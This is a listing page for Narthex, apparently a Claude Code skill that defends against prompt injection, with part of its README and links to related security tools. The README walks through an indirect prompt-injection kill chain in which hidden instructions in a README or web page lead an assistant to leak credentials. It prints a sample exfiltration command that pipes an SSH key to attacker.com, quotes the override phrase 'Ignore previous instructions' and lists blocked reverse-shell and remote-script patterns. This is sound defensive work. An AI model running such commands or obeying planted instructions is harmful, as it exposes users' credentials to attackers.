Narthex — Development skill for Claude Code
Prompt-injection defenses for Claude Code.
How to install Narthex
This entry records only its repository, not the path inside it, so there is no
exact command to give. Open fitz2882/narthex and copy the folder into
~/.claude/skills/, or the file into ~/.claude/agents/.
What Narthex does
Prompt-injection defenses for Claude Code. A PreToolUse Bash hook blocks compositional credential-exfiltration shapes (secret read plus network, env dump to network, remote script to shell, reverse shells). A sanitizing MCP server wraps untrusted URLs and files in sentinels, strips invisible unicode, flags jailbreaks.
Alternatives in Development
- Om Dump — Freeform capture mode 4.6k ★
- CORS — Scan an endpoint for CORS misconfiguration — arbitrary-origin reflection, null-origin trust, credential exposu 4.5k ★
- Academic Pptx Skill — A Claude Skill for creating academic presentations (conference talks, seminar slides, thesis defenses, grant b 811 ★
README
Narthex
Prompt-injection defenses for [Claude Code](https://code.claude.com/).
Named for the architectural feature of ancient churches: a transitional space at the entrance where the uninitiated could gather before being allowed into the sanctuary. Narthex plays the same role between untrusted content (web pages, READMEs, scraped docs, pasted transcripts) and your trusted environment (your shell, your credentials, your files).
What it protects against
Indirect prompt injection — when an AI coding assistant reads content containing hidden instructions that hijack its behavior. The canonical kill chain:
- Injection — a hidden HTML comment, zero-width unicode, or markdown image tag planted in a README, PR description, issue, or scraped page.
- Hijack — the assistant reads the payload as instructions instead of data.
- Exfiltration — the assistant runs a command that leaks your
credentials:
cat ~/.ssh/id_rsa | curl attacker.com, env dumps, or uploads of.envfiles.
Recent writeups of the threat:
- CamoLeak — critical GitHub Copilot vulnerability leaks private source code
- How hidden prompt injections can hijack AI code assistants like Cursor
- Fooling AI agents: Web-based indirect prompt injection observed in the wild
Design principle
Anything *inside* the model's context can be overridden by an injection sitting in that same context. "Ignore previous instructions" works on guidance, not on enforcement. Only the harness — Claude Code's hooks and permission system — runs *outside* the model and can enforce rules that an injected prompt cannot talk its way out of.
Narthex therefore ships four layers — two enforcement, two adviso
Related Skills
Skill Scan Gate
CI gate for Claude Code skills and plugins: scans a skills or plugin repository for instruction-override text,
Prompt Injection Bench
Hand-authored indirect prompt-injection attack corpus + honest ASR/FPR benchmark of 4 defenses on a real tool-
Prompt Injection Benchmark
A reproducible prompt-injection benchmark that measures which defenses actually work: each payload is replayed
Freeze
Freeze files matching a pattern — blocks Edit/Write to matched files via a session-scoped PreToolUse hook. Use
Agent Approval Gate
PreToolUse hook for Claude Code: blocks agent spending, account creation and fund moves, queues them for human
Smart Approve.py
PreToolUse (Bash) Decompose compound bash commands (&&, \ \ , ;, \ , $()) into sub-commands and check each aga
Related Agents
Light Security ClaudeSettingsAudit
Audit Claude Code config files (settings.json, settings.local.json, .mcp.json) for unsafe or malicious content
Kenaz
Audits the security of Claude Code plugins, MCP servers, and AI agents before installation. Analyzes executabl
Leak Review
Security review of commits by OTHER contributors before they are built — data exfiltration, key material and w
